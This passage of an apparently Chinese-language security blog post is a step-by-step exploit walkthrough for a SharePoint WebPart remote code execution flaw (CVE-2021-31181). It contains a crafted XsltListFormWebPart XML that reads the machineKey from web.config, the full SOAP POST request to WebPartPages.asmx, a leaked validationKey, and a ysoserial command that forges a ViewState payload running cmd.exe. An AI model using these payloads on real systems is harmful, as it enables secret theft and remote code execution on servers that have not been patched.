src="https://wechat2rss.xlab.app/img-proxy/?k=9fc0a682&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibokiceRP89IsvUB9v9dNh0QFmaN9IHhJXLLGEelOQV98GN5gubGO5gHiaZsScptcmLmtXRQjq7h1cjw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="131" data-backw="319" data-ratio="0.4090909090909091" title="null" data-type="png" data-w="1232" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=64080e84&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibokiceRP89IsvUB9v9dNh0QFNDS8uyLLCBhnVEk36YWeCiaZcNOCtRMibP3tylvyliamN5XNiaPlDFAlPg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">然后ListDisplayName为test</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">第三个参数datafile是要读取的web.config文件，这个<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">c:/inetpub/wwwroot/wss/VirtualDirectories/80/web.config</code>中80对应的端口号，但是有的情况特殊可以试试<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">C:\inetpub\wwwroot\web.config</code></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">比如我搭建的sp，8080管理端口对应的是38040</p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="82" data-backw="319" data-ratio="0.25624421831637373" title="null" data-type="png" data-w="1081" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=2018fd84&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibokiceRP89IsvUB9v9dNh0QFoW4sFrgVRh1vElCJmabsXafWtOcdwA9VnQM1EasBfrOLAx8bB0qwicw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">然后读web.config，构造的xml</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%@</span> <span class="code-snippet__attr">Register</span> <span class="code-snippet__attr">TagPrefix</span>=<span class="code-snippet__string">&#34;WebPartPages&#34;</span> <span class="code-snippet__attr">Namespace</span>=<span class="code-snippet__string">&#34;Microsoft.SharePoint.WebPartPage&#34;</span> <span class="code-snippet__attr">Assembly</span>=<span class="code-snippet__string">&#34;Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c&#34;</span> %&gt;</span> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%@Register</span> <span class="code-snippet__attr">TagPrefix</span>=<span class="code-snippet__string">&#34;att&#34;</span> <span class="code-snippet__attr">Namespace</span>=<span class="code-snippet__string">&#34;System.Web.UI.WebControls &#34;</span> <span class="code-snippet__attr">Assembly</span>=<span class="code-snippet__string">&#34;System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a&#34;</span>%&gt;</span> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">WebPartPages:XsltListFormWebPart</span> <span class="code-snippet__attr">id</span>=<span class="code-snippet__string">&#34;id01&#34;</span> <span class="code-snippet__attr">runat</span>=<span class="code-snippet__string">&#34;server&#34;</span> <span class="code-snippet__attr">ListDisplayName</span>=<span class="code-snippet__string">&#34;test&#34;</span> <span class="code-snippet__attr">WebId</span>=<span class="code-snippet__string">&#34;{e89c64e5-75ce-4bd4-8181-2298228fc91f}&#34;</span>&gt;</span> </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">DataSources</span>&gt;</span> </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">att:xmldatasource</span> <span class="code-snippet__attr">runat</span>=<span class="code-snippet__string">&#34;server&#34;</span> <span class="code-snippet__attr">id</span>=<span class="code-snippet__string">&#34;XDS1&#34;</span> </span></span></code><code><span class="code-snippet_outer">      <span class="code-snippet__attr">XPath</span>=<span class="code-snippet__string">&#34;/configuration/system.web/machineKey&#34;</span> </span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">      <span class="code-snippet__attr">datafile</span>=<span class="code-snippet__string">&#34;c:/inetpub/wwwroot/wss/VirtualDirectories/38040/web.config&#34;</span> /&gt;</span> </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">DataSources</span>&gt;</span> </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">xsl</span>&gt;</span> </span></code><code><span class="code-snippet_outer">      <span class="code-snippet__tag">&lt;<span class="code-snippet__name">xsl:stylesheet</span> <span class="code-snippet__attr">version</span>=<span class="code-snippet__string">&#34;2.0&#34;</span> <span class="code-snippet__attr">xmlns:xsl</span>=<span class="code-snippet__string">&#34;<a href="http://www.w3.org/1999/XSL/Transform" target="_blank">http://www.w3.org/1999/XSL/Transform</a>&#34;</span>&gt;</span>          </span></code><code><span class="code-snippet_outer">          <span class="code-snippet__tag">&lt;<span class="code-snippet__name">xsl:output</span> <span class="code-snippet__attr">method</span>=<span class="code-snippet__string">&#34;xml&#34;</span> <span class="code-snippet__attr">indent</span>=<span class="code-snippet__string">&#34;yes&#34;</span>/&gt;</span> </span></code><code><span class="code-snippet_outer">          <span class="code-snippet__tag">&lt;<span class="code-snippet__name">xsl:template</span> <span class="code-snippet__attr">match</span>=<span class="code-snippet__string">&#34;/&#34;</span> &gt;</span> </span></code><code><span class="code-snippet_outer">          <span class="code-snippet__tag">&lt;<span class="code-snippet__name">xsl:copy-of</span> <span class="code-snippet__attr">select</span>=<span class="code-snippet__string">&#34;.&#34;</span>/&gt;</span> </span></code><code><span class="code-snippet_outer">          <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">xsl:template</span>&gt;</span> </span></code><code><span class="code-snippet_outer">      <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">xsl:stylesheet</span>&gt;</span> </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">xsl</span>&gt;</span> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">WebPartPages:XsltListFormWebPart</span>&gt;</span></span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">html编码之后http请求</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="http"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">POST</span> <span class="code-snippet__string">/sites/ts/_vti_bin/WebPartPages.asmx</span> HTTP/1.1</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Host</span>: sharepoint</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Content-Type</span>: text/xml; charset=utf-8</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Content-Length</span>: 6527</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">SOAPAction</span>: &#34;<a href="http://microsoft.com/sharepoint/webpartpages/RenderWebPartForEdit" target="_blank">http://microsoft.com/sharepoint/webpartpages/RenderWebPartForEdit</a>&#34;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">soap:Envelope</span> <span class="code-snippet__attr">xmlns:xsi</span>=<span class="code-snippet__string">&#34;<a href="http://www.w3.org/2001/XMLSchema-instance" target="_blank">http://www.w3.org/2001/XMLSchema-instance</a>&#34;</span> <span class="code-snippet__attr">xmlns:xsd</span>=<span class="code-snippet__string">&#34;<a href="http://www.w3.org/2001/XMLSchema" target="_blank">http://www.w3.org/2001/XMLSchema</a>&#34;</span> <span class="code-snippet__attr">xmlns:soap</span>=<span class="code-snippet__string">&#34;<a href="http://schemas.xmlsoap.org/soap/envelope/" target="_blank">http://schemas.xmlsoap.org/soap/envelope/</a>&#34;</span>&gt;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">soap:Body</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">RenderWebPartForEdit</span> <span class="code-snippet__attr">xmlns</span>=<span class="code-snippet__string">&#34;<a href="http://microsoft.com/sharepoint/webpartpages" target="_blank">http://microsoft.com/sharepoint/webpartpages</a>&#34;</span>&gt;</span></span></code><code><span class="code-snippet_outer">      <span class="code-snippet__tag">&lt;<span class="code-snippet__name">webPartXml</span>&gt;</span><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%@</span> <span class="code-snippet__attr">Register</span> <span class="code-snippet__attr">TagPrefix</span>=<span class="code-snippet__string">&#34;WebPartPages&#34;</span> <span class="code-snippet__attr">Namespace</span>=<span class="code-snippet__string">&#34;Microsoft.SharePoint.WebPartPage&#34;</span> <span class="code-snippet__attr">Assembly</span>=<span class="code-snippet__string">&#34;Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c&#34;</span> %&gt;</span> <span class="code-snippet__tag">&lt;<span class="code-snippet__name">%@Register</span> <span class="code-snippet__attr">TagPrefix</span>=<span class="code-snippet__string">&#34;att&#34;</span> <span class="code-snippet__attr">Namespace</span>=<span class="code-snippet__string">&#34;System.Web.UI.WebControls &#34;</span> <span class="code-snippet__attr">Assembly</span>=<span class="code-snippet__string">&#34;System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a&#34;</span>%&gt;</span> <span class="code-snippet__tag">&lt;<span class="code-snippet__name">WebPartPages:XsltListFormWebPart</span> <span class="code-snippet__attr">id</span>=<span class="code-snippet__string">&#34;id01&#34;</span> <span class="code-snippet__attr">runat</span>=<span class="code-snippet__string">&#34;server&#34;</span> <span class="code-snippet__attr">ListDisplayName</span>=<span class="code-snippet__string">&#34;test&#34;</span> <span class="code-snippet__attr">WebId</span>=<span class="code-snippet__string">&#34;{e89c64e5-75ce-4bd4-8181-2298228fc91f}&#34;</span>&gt;</span>   <span class="code-snippet__tag">&lt;<span class="code-snippet__name">DataSources</span>&gt;</span>     <span class="code-snippet__tag">&lt;<span class="code-snippet__name">att:xmldatasource</span> <span class="code-snippet__attr">runat</span>=<span class="code-snippet__string">&#34;server&#34;</span> <span class="code-snippet__attr">id</span>=<span class="code-snippet__string">&#34;XDS1&#34;</span>       <span class="code-snippet__attr">XPath</span>=<span class="code-snippet__string">&#34;/configuration/system.web/machineKey&#34;</span>       <span class="code-snippet__attr">datafile</span>=<span class="code-snippet__string">&#34;c:/inetpub/wwwroot/wss/VirtualDirectories/38040/web.config&#34;</span> /&gt;</span>   <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">DataSources</span>&gt;</span>   <span class="code-snippet__tag">&lt;<span class="code-snippet__name">xsl</span>&gt;</span>       <span class="code-snippet__tag">&lt;<span class="code-snippet__name">xsl:stylesheet</span> <span class="code-snippet__attr">version</span>=<span class="code-snippet__string">&#34;2.0&#34;</span> <span class="code-snippet__attr">xmlns:xsl</span>=<span class="code-snippet__string">&#34;<a href="http://www.w3.org/1999/XSL/Transform" target="_blank">http://www.w3.org/1999/XSL/Transform</a>&#34;</span>&gt;</span>                    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">xsl:output</span> <span class="code-snippet__attr">method</span>=<span class="code-snippet__string">&#34;xml&#34;</span> <span class="code-snippet__attr">indent</span>=<span class="code-snippet__string">&#34;yes&#34;</span>/&gt;</span>           <span class="code-snippet__tag">&lt;<span class="code-snippet__name">xsl:template</span> <span class="code-snippet__attr">match</span>=<span class="code-snippet__string">&#34;/&#34;</span> &gt;</span>           <span class="code-snippet__tag">&lt;<span class="code-snippet__name">xsl:copy-of</span> <span class="code-snippet__attr">select</span>=<span class="code-snippet__string">&#34;.&#34;</span>/&gt;</span>           <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">xsl:template</span>&gt;</span>       <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">xsl:stylesheet</span>&gt;</span>   <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">xsl</span>&gt;</span> <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">WebPartPages:XsltListFormWebPart</span>&gt;</span><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">webPartXml</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">RenderWebPartForEdit</span>&gt;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">soap:Body</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">soap:Envelope</span>&gt;</span></span></code></pre></section><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="191" data-backw="319" data-ratio="0.5994475138121547" title="null" data-type="png" data-w="1448" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=63be0df7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibokiceRP89IsvUB9v9dNh0QFl5ibmnsfOIAFvKib3yjkkCOKSk3lciato6ZndkzYdNUgjney0oa1DscicA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">拿到validationKey E8184ADCEE3E6FD39E35B44AC344F88C2581F9F022BF7661F223DBD4EB3F9316</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">然后ysoserial构造viewstate，查看源代码 <a href="http://sharepoint/sites/ts/_layouts/15/success.aspx" target="_blank">http://sharepoint/sites/ts/_layouts/15/success.aspx</a> 拿到 __VIEWSTATEGENERATOR AF878507</p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="42" data-backw="319" data-ratio="0.12980769230769232" title="null" data-type="png" data-w="1248" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=ec415caa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibokiceRP89IsvUB9v9dNh0QF6nThykUscH6HOzUoKiahOOAPJkiczCEpAt0oYnWz0h5prY5F5DibIprOg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">命令</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="swift"><code><span class="code-snippet_outer">.\ysoserial.exe -p <span class="code-snippet__type">ViewState</span> -g <span class="code-snippet__type">TypeConfuseDelegate</span> -<span class="code-snippet__built_in">c</span> <span class="code-snippet__string">&#34;cmd.exe /c calc&#34;</span> --generator=<span class="code-snippet__string">&#34;AF878507&#34;</span> --validationkey=<span class="code-snippet__string">&#34;E8184ADCEE3E6FD39E35B44AC344F88C2581F9F022BF7661F223DBD4EB3F9316&#34;</span> --validationalg=<span class="code-snippet__string">&#34;HMACSHA256&#34;</span> --islegacy --minify</span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">发包就RCE了</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">但是我这边用<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">c:/inetpub/wwwroot/wss/VirtualDirectories/38040/web.config</code>不行，用c:/inetpub/wwwroot/web.config 就可以了。</p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="191" data-backw="319" data-ratio="0.5994475138121547" title="null" data-type="png" data-w="1448" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=6bf0b34a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibokiceRP89IsvUB9v9dNh0QFrfAmlGRrw1bDPy7TrhWB3hf209pcibiaow9rJwIfbZV8FQiaZJSMNXyMg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="99" data-backw="319" data-ratio="0.30982019363762103" title="null" data-type="png" data-w="723" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=7c5379d3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibokiceRP89IsvUB9v9dNh0QFmYgflojETgYn4KCiajYnGLHcJLOxL0ia90eJ142JhIEqxf4f1U3Hm03w%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><h1 style="box-sizing: border-box;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;font-weight: bold;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">参考</h1><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;"><a href="https://www.zerodayinitiative.com/blog/2021/6/1/cve-2021-31181-microsoft-sharepoint-webpart-interpretation-conflict-remote-code-execution-vulnerability" target="_blank">https://www.zerodayinitiative.com/blog/2021/6/1/cve-2021-31181-microsoft-sharepoint-webpart-interpretation-conflict-remote-code-execution-vulnerability</a></p><section><br/></section><p cid="n69" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.75rem;orphans: 4;margin-bottom: 1.25rem;color: rgb(17, 17, 17);font-size: 1rem;white-space: pre-wrap;text-align: center;"><span md-inline="code" spellcheck="false" style="font-size: 1rem;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" 